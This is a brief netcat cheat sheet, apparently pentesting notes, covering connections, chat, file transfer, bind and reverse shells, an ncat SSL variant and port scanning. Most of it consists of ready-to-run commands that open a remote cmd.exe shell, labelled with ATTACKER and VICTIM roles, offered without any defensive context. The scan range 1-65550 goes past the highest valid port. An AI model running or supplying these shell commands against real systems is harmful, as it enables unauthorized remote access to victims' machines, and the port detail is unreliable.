Netcat (NC)

nc -nv <ip> <port>

Chat

nc -nlvp 4444
nc -nv <ip> 4444

File Transfer

nc -nlvp 4444 > file.exe  
nc -nv <ip> 4444 < file.exe

Bind Shell

VICTIM (server)

nc -lvp 4444 -e cmd.exe

ATTACKER (client)

nc -nv <IP Address> 4444

Reverse Shell

ATTACKER (server)

nc -lvp 4444

VICTIM (client)

nc -nv <IP Address> 4444 -e cmd.exe

NCAT for increased security

VICTIM (server)

ncat -lvp 4444 -e cmd.exe --allow 192.168.30.5 --ssl

ATTACKER (client)

ncat -nv <IP Address> 4444 --ssl

Port Scanning with NC

TCP Connect Port Scan

nc -nvv -w 1 -z <ip> 1-65550

UDP Scan

nc -unvv -w 1 -z <ip> 1-65550